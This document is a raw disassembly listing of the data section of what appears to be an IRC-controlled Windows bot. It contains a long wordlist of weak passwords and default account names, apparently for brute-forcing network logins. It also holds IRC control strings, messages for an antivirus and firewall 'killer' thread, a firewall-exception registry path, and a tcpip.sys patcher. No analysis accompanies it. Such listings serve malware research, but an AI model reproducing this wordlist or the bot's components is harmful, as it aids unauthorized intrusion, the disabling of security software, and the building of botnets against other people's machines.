aBacchus db 'bacchus',0 ; DATA XREF: ___:0042F2F0o
aBaby db 'baby',0 ; DATA XREF: ___:0042F2ECo
align 4
aBabe db 'babe',0 ; DATA XREF: ___:0042F2E8o
align 4
aAzure db 'azure',0 ; DATA XREF: ___:0042F2E4o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: ___:0042F2E0o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: ___:0042F2DCo
align 10h
aAttack db 'attack',0 ; DATA XREF: ___:0042F2D8o
align 4
aAtom db 'atom',0 ; DATA XREF: ___:0042F2D4o
align 10h
aAtmosphe db 'atmosphe',0 ; DATA XREF: ___:0042F2D0o
align 4
aAthena db 'athena',0 ; DATA XREF: ___:0042F2CCo
align 4
aAsshole db 'asshole',0 ; DATA XREF: ___:0042F2C8o
aAsian db 'asian',0 ; DATA XREF: ___:0042F2C4o
align 4
aArtist db 'artist',0 ; DATA XREF: ___:0042F2C0o
align 4
aArthur db 'arthur',0 ; DATA XREF: ___:0042F2BCo
align 4
aArrow db 'arrow',0 ; DATA XREF: ___:0042F2B8o
align 4
aArmy db 'army',0 ; DATA XREF: ___:0042F2B4o
align 4
aArlene db 'arlene',0 ; DATA XREF: ___:0042F2B0o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: ___:0042F2ACo
aAria db 'aria',0 ; DATA XREF: ___:0042F2A8o
align 4
aApril db 'april',0 ; DATA XREF: ___:0042F2A4o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042F2A0o
align 10h
aAnything db 'anything',0 ; DATA XREF: ___:0042F29Co
align 4
aAnvils db 'anvils',0 ; DATA XREF: ___:0042F298o
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042F294o
align 10h
aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042F290o
aAnswer db 'answer',0 ; DATA XREF: ___:0042F28Co
align 10h
aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042F288o
align 4
aAnon db 'anon',0 ; DATA XREF: ___:0042F284o
align 4
aAnnette db 'annette',0 ; DATA XREF: ___:0042F280o
aAnne db 'anne',0 ; DATA XREF: ___:0042F27Co
align 4
aAnna db 'anna',0 ; DATA XREF: ___:0042F278o
align 4
aAnita db 'anita',0 ; DATA XREF: ___:0042F274o
align 4
aAnimals db 'animals',0 ; DATA XREF: ___:0042F270o
aAnimal db 'animal',0 ; DATA XREF: ___:0042F26Co
align 4
aAngie db 'angie',0 ; DATA XREF: ___:0042F268o
align 4
aAngerine db 'angerine',0 ; DATA XREF: ___:0042F264o
align 4
aAngela db 'angela',0 ; DATA XREF: ___:0042F260o
align 10h
aAnfo db 'anfo',0 ; DATA XREF: ___:0042F25Co
align 4
aAndy db 'andy',0 ; DATA XREF: ___:0042F258o
align 10h
aAndromac db 'andromac',0 ; DATA XREF: ___:0042F254o
align 4
aAndroid db 'android',0 ; DATA XREF: ___:0042F250o
aAndrea db 'andrea',0 ; DATA XREF: ___:0042F24Co
align 4
aAnchor db 'anchor',0 ; DATA XREF: ___:0042F248o
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042F244o
aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042F240o
align 4
aAnalog db 'analog',0 ; DATA XREF: ___:0042F23Co
align 10h
aAnal db 'anal',0 ; DATA XREF: ___:0042F238o
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042F234o
align 4
aAmerica db 'america',0 ; DATA XREF: ___:0042F230o
aAmber db 'amber',0 ; DATA XREF: ___:0042F22Co
align 4
aAmanda db 'amanda',0 ; DATA XREF: ___:0042F228o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042F224o
aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042F220o
align 10h
aAllow db 'allow',0 ; DATA XREF: ___:0042F21Co
align 4
aAllison db 'allison',0 ; DATA XREF: ___:0042F218o
aAlison db 'alison',0 ; DATA XREF: ___:0042F214o
align 4
aAlisa db 'alisa',0 ; DATA XREF: ___:0042F210o
align 10h
aAlicia db 'alicia',0 ; DATA XREF: ___:0042F20Co
align 4
aAlice db 'alice',0 ; DATA XREF: ___:0042F208o
align 10h
aAliases db 'aliases',0 ; DATA XREF: ___:0042F204o
aAlias db 'alias',0 ; DATA XREF: ___:0042F200o
align 10h
aAlgebra db 'algebra',0 ; DATA XREF: ___:0042F1FCo
aAlexande db 'alexande',0 ; DATA XREF: ___:0042F1F8o
align 4
aAlex db 'alex',0 ; DATA XREF: ___:0042F1F4o
align 4
aAlert db 'alert',0 ; DATA XREF: ___:0042F1F0o
align 4
aAlbert db 'albert',0 ; DATA XREF: ___:0042F1ECo
align 4
aAlbatros db 'albatros',0 ; DATA XREF: ___:0042F1E8o
align 4
aAlbany db 'albany',0 ; DATA XREF: ___:0042F1E4o
align 10h
aAlaska db 'alaska',0 ; DATA XREF: ___:0042F1E0o
align 4
aAirplane db 'airplane',0 ; DATA XREF: ___:0042F1DCo
align 4
aAids db 'aids',0 ; DATA XREF: ___:0042F1D8o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: ___:0042F1D4o
align 4
aAdult db 'adult',0 ; DATA XREF: ___:0042F1D0o
align 10h
aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042F1CCo
align 4
aAdrian db 'adrian',0 ; DATA XREF: ___:0042F1C8o
align 4
aAdam db 'adam',0 ; DATA XREF: ___:0042F1C4o
align 4
aAction db 'action',0 ; DATA XREF: ___:0042F1C0o
align 4
aAccount db 'account',0 ; DATA XREF: ___:0042F1BCo
aAcademic db 'academic',0 ; DATA XREF: ___:0042F1B4o
align 4
aAcademia db 'academia',0 ; DATA XREF: ___:0042F1B0o
align 4
a000000 db '000000',0 ; DATA XREF: ___:0042F1ACo
align 4
a00000 db '00000',0 ; DATA XREF: ___:0042F1A8o
align 4
a0000 db '0000',0 ; DATA XREF: ___:0042F1A4o
align 4
a000 db '000',0 ; DATA XREF: ___:0042F1A0o
aTesting db 'testing',0 ; DATA XREF: ___:0042F19Co
aDeath db 'death',0 ; DATA XREF: ___:0042F198o
align 10h
a00 db '00',0 ; DATA XREF: ___:0042F194o
align 4
a0: ; DATA XREF: ___:0042F190o
unicode 0, <0>,0
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042F18Co
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042F188o
align 10h
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042F184o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042F180o
align 10h
aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042F17Co
align 4
aXxxx db 'xxxx',0 ; DATA XREF: ___:0042F178o
align 10h
aXxx db 'xxx',0 ; DATA XREF: ___:0042F174o
aXx db 'xx',0 ; DATA XREF: ___:0042F170o
align 4
asc_4343A8: ; DATA XREF: ___:0042F16Co
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: ___:0042F168o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F164o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F160o
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F15Co
align 4
aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F158o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F154o
align 4
aScript db 'script',0 ; DATA XREF: ___:0042F150o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F14Co
align 4
aHacker db 'hacker',0 ; DATA XREF: ___:0042F148o
align 4
aL337 db 'l337',0 ; DATA XREF: ___:0042F144o
align 4
aL33t db 'l33t',0 ; DATA XREF: ___:0042F140o
align 4
aLeet db 'leet',0 ; DATA XREF: ___:0042F13Co
align 4
aKiller db 'killer',0 ; DATA XREF: ___:0042F138o
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F134o
align 4
aW00t db 'w00t',0 ; DATA XREF: ___:0042F130o
align 4
aHeaven db 'heaven',0 ; DATA XREF: ___:0042F12Co
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F128o
align 10h
aSatanic db 'satanic',0 ; DATA XREF: ___:0042F124o
aSatanik db 'satanik',0 ; DATA XREF: ___:0042F120o
aSatan db 'satan',0 ; DATA XREF: ___:0042F11Co
align 4
aGobo db 'gobo',0 ; DATA XREF: ___:0042F118o
align 10h
aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F114o
aMatt db 'Matt',0 ; DATA XREF: ___:0042F110o
align 10h
aMat db 'Mat',0 ; DATA XREF: ___:0042F10Co
aPw db 'pw',0 ; DATA XREF: ___:0042F108o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F104o
align 4
aMypass db 'mypass',0 ; DATA XREF: ___:0042F100o
align 4
aPw123 db 'pw123',0 ; DATA XREF: ___:0042F0FCo
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F0F8o
align 10h
aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F0F4o
aMypc db 'mypc',0 ; DATA XREF: ___:0042F0F0o
align 10h
aLove db 'love',0 ; DATA XREF: ___:0042F0ECo
align 4
aPwd db 'pwd',0 ; DATA XREF: ___:0042F0E8o
aLogin_1 db 'login',0 ; DATA XREF: ___:0042F0E4o
align 4
aHome db 'home',0 ; DATA XREF: ___:0042F0E0o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F0DCo
align 4
aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F0D8o
align 4
aQwer db 'qwer',0 ; DATA XREF: ___:0042F0D4o
align 4
aSecret db 'secret',0 ; DATA XREF: ___:0042F0D0o
align 4
aAsdf db 'asdf',0 ; DATA XREF: ___:0042F0CCo
align 4
aPc db 'pc',0 ; DATA XREF: ___:0042F0C8o
align 4
aWin db 'win',0 ; DATA XREF: ___:0042F0C4o
aTest123 db 'test123',0 ; DATA XREF: ___:0042F0C0o
aAbc db 'abc',0 ; DATA XREF: ___:0042F0BCo
aAaa db 'aaa',0 ; DATA XREF: ___:0042F0B8o
aA_0: ; DATA XREF: ___:0042F0B4o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: ___:0042F0B0o
align 4
aFucked db 'fucked',0 ; DATA XREF: ___:0042F0ACo
align 10h
aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F0A8o
aIrule db 'irule',0 ; DATA XREF: ___:0042F0A4o
align 10h
aOwned db 'owned',0 ; DATA XREF: ___:0042F0A0o
align 4
a0wned db '0wned',0 ; DATA XREF: ___:0042F09Co
align 10h
aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F098o
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F094o
align 4
aDevil db 'devil',0 ; DATA XREF: ___:0042F090o
align 10h
aNilez db 'Nilez',0 ; DATA XREF: ___:0042F08Co
align 4
aFoobar db 'foobar',0 ; DATA XREF: ___:0042F088o
align 10h
aGod db 'god',0 ; DATA XREF: ___:0042F084o
aSex db 'sex',0 ; DATA XREF: ___:0042F080o
aPat db 'pat',0 ; DATA XREF: ___:0042F07Co
aPatrick db 'patrick',0 ; DATA XREF: ___:0042F078o
aAlpha db 'alpha',0 ; DATA XREF: ___:0042F074o
align 4
a007 db '007',0 ; DATA XREF: ___:0042F070o
a123abc db '123abc',0 ; DATA XREF: ___:0042F06Co
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F068o
align 4
a123123 db '123123',0 ; DATA XREF: ___:0042F064o
align 4
a121212 db '121212',0 ; DATA XREF: ___:0042F060o
align 4
a111111 db '111111',0 ; DATA XREF: ___:0042F05Co
align 4
a110 db '110',0 ; DATA XREF: ___:0042F058o
a2600 db '2600',0 ; DATA XREF: ___:0042F054o
align 4
a2002 db '2002',0 ; DATA XREF: ___:0042F04Co
align 10h
aXp_0 db 'xp',0 ; DATA XREF: ___:0042F048o
align 4
aEnable db 'enable',0 ; DATA XREF: ___:0042F044o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F040o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F03Co
a123asd db '123asd',0 ; DATA XREF: ___:0042F038o
align 4
aSuper db 'super',0 ; DATA XREF: ___:0042F034o
align 4
aInternet db 'Internet',0 ; DATA XREF: ___:0042F030o
align 10h
a123qwe db '123qwe',0 ; DATA XREF: ___:0042F028o
align 4
aSybase db 'sybase',0 ; DATA XREF: ___:0042F024o
align 10h
aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F01Co
align 4
aAbcd db 'abcd',0 ; DATA XREF: ___:0042F018o
align 10h
aPasswd db 'passwd',0 ; DATA XREF: ___:0042F010o
align 4
aPass_1 db 'pass',0 ; DATA XREF: ___:0042F00Co
align 10h
a88888888 db '88888888',0 ; DATA XREF: ___:0042F008o
align 4
a11111111 db '11111111',0 ; DATA XREF: ___:0042F004o
align 4
a111 db '111',0 ; DATA XREF: ___:0042F000o
a54321 db '54321',0 ; DATA XREF: ___:0042EFFCo
align 4
a654321 db '654321',0 ; DATA XREF: ___:0042EFF8o
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:0042EFF4o
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:0042EFF0o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:0042EFECo
a123456 db '123456',0 ; DATA XREF: ___:0042EFE8o
align 4
a12345 db '12345',0 ; DATA XREF: ___:0042EFE4o
align 4
a1234 db '1234',0 ; DATA XREF: ___:0042EFE0o
align 4
a123 db '123',0 ; DATA XREF: ___:0042EFDCo
a12 db '12',0 ; DATA XREF: ___:0042EFD8o
align 4
a1: ; DATA XREF: ___:004160ACo
; ___:0042EFD4o
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: ___:0042EFD0o
aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042EFCCo
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:0042EFC8o
align 10h
aLinux db 'linux',0 ; DATA XREF: ___:0042EFC4o
align 4
aUnix db 'unix',0 ; DATA XREF: ___:0042EFC0o
align 10h
aLocal db 'LOCAL',0 ; DATA XREF: ___:0042EFBCo
align 4
aPepsi db 'pepsi',0 ; DATA XREF: ___:0042EFB8o
align 10h
aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042EFB4o
align 4
aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042EFB0o
align 10h
aBackup db 'BACKUP',0 ; DATA XREF: ___:0042EFACo
align 4
aAccess db 'ACCESS',0 ; DATA XREF: ___:0042EFA4o
align 10h
aTest db 'TEST',0 ; DATA XREF: ___:0042EFA0o
align 4
aEdu db 'edu',0 ; DATA XREF: ___:0042EF9Co
aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042EF98o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042EF94o
align 4
aDemo db 'DEMO',0 ; DATA XREF: ___:0042EF90o
align 4
aFiles db 'FILES',0 ; DATA XREF: ___:0042EF8Co
align 4
aRead db 'READ',0 ; DATA XREF: ___:0042EF88o
align 4
aBoth db 'BOTH',0 ; DATA XREF: ___:0042EF84o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: ___:0042EF80o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: ___:0042EF7Co
align 4
aWrite db 'WRITE',0 ; DATA XREF: ___:0042EF78o
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042EF74o
align 4
aTemp db 'TEMP',0 ; DATA XREF: ___:0042EF70o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042EF6Co
align 10h
aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042EF68o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042EF60o
align 10h
aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042EF5Co
align 4
aBla db 'bla',0 ; DATA XREF: ___:0042EF58o
aFubar db 'fubar',0 ; DATA XREF: ___:0042EF54o
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042EF48o
align 4
aDb2 db 'db2',0 ; DATA XREF: ___:0042EF38o
aOracle db 'oracle',0 ; DATA XREF: ___:0042EF34o
; ___:0042F020o
align 10h
aDba db 'dba',0 ; DATA XREF: ___:0042EF30o
aDatabase db 'database',0 ; DATA XREF: ___:0042EF2Co
; ___:0042F014o
align 10h
aDefault db 'default',0 ; DATA XREF: ___:0042EF28o
; ___:0042F6B4o
aGuest_0 db 'guest',0 ; DATA XREF: ___:0042EF24o
align 10h
aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042EF20o
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:0042EF1Co
; ___:00430648o
aStudent db 'student',0 ; DATA XREF: ___:0042EF18o
; ___:00430590o
aOwner db 'owner',0 ; DATA XREF: ___:0042EF14o
align 4
aComputer db 'computer',0 ; DATA XREF: ___:0042EF10o
; ___:0042F02Co
align 10h
aStaff db 'staff',0 ; DATA XREF: ___:0042EF08o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:0042EF00o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: ___:0042EEFCo
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042EEF8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:0042EEF4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042EEF0o
; ___:0042EF50o
align 4
aIrofferV1_3b10 db 'iroffer v1.3b10 [Ud2 23874155], http://iroffer.org/',0
; DATA XREF: ___:off_42EE40o
a@arrapao db '*@arrapao',0 ; DATA XREF: ___:off_42EE3Co
align 4
unk_4348AC db 2 ; DATA XREF: ___:0040F1AAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0
align 4
unk_4348F8 db 2 ; DATA XREF: ___:0040F157o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRegistryMonito db ' Registry monitor active.',0
align 10h
unk_434930 db 2 ; DATA XREF: ___:0040F137o
; sub_40F6F1+60CBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
unk_43497C db 2 ; DATA XREF: ___:0040F0EAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSystemSecureMo db ' System secure monitor active.',0
align 4
unk_4349B8 db 2 ; DATA XREF: ___:0040F0CAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartA db 'Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_434A0C db 2 ; DATA XREF: ___:0040F07Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAvFwKillerActi db 'AV/FW Killer active.',0
align 4
dword_434A44 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: ___:0040F03Fo
dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
; DATA XREF: ___:0040EFF9o
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
align 4
aSEnabledS db '%s:*:Enabled:%s',0 ; DATA XREF: ___:0040EFD2o
aSDS db '%s %d "%s"',0 ; DATA XREF: ___:0040EECDo
align 10h
a_n_z_m_Patcher db '.n.z.m. (patcher.p.l.g) .»». TCPIP.SYSPatcher.',0
aSDriversTcpip_ db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_40F326+139o
align 4
dword_434B48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F326+F4o
dd 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40F576+65o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40F576+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+6409o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+63F4o
align 4
dword_434BBC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+63E7o
dd 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_434BEC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+63CAo
dd 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_434C1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+635Ao
dd 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_434C58 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+62FCo
dd 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40F6F1+62EDo
; sub_40F6F1+634Bo
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40F6F1+62D9o
; sub_40F6F1+6337o
align 10h
asc_434CE0: ; DATA XREF: sub_40F6F1+62A9o
unicode 0, <~>,0
dword_434CE4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+6258o
dd 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_434D18 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+6179o
dd 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_434D54 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+6171o
dd 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
dword_434D90 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+60FBo
dd 2BBBB02h, 73252020h, 0
dword_434DB0 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_40F6F1+6055o
dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40F6F1+604Fo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40F6F1+6048o
align 10h
aSec db 'sec',0 ; DATA XREF: sub_40F6F1+5FF0o
aSecure db 'secure',0 ; DATA XREF: sub_40F6F1+5FDDo
align 4
unk_434DFC db 2 ; DATA XREF: sub_40F6F1+5FD0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_434E44 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_434E54 dd 646E6946h, 6C696620h, 65hdword_434E60 dd 72027002h, 1F631F6Fh, 2E2Ehdword_434E6C dd 636F7250h, 20737365h, 7473696Ch, 0dword_434E7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5E59o
dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41553Fo
align 4
dword_434EBC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5E39o
dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h
dd 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41551Fo
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+5E0Ao
align 4
dword_434F0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5DC0o
dd 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_434F48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5D84o
dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh
dword_434F70 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1+5D59o
dd 2029671Fh, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_434FB8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1+5CEEo
dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h
dd 2E7364h
dword_434FE4 dd 627573h dword_434FE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5C7Co
dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh
dword_435010 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5C63o
dd 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_435058 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5BD9o
dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h
dword_435080 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5B5Ao
dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h
dword_4350A8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5B2Fo
dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh
dword_4350D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5AE2o
dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh
unk_4350F8 db 2 ; DATA XREF: sub_40F6F1+5ACFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0
align 4
dword_435148 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_40F6F1+5A60o
dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h
dd 73696C20h, 2E74h
aFull db 'full',0 ; DATA XREF: sub_40F6F1+5A40o
align 10h
unk_435180 db 2 ; DATA XREF: sub_40F6F1+59EBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
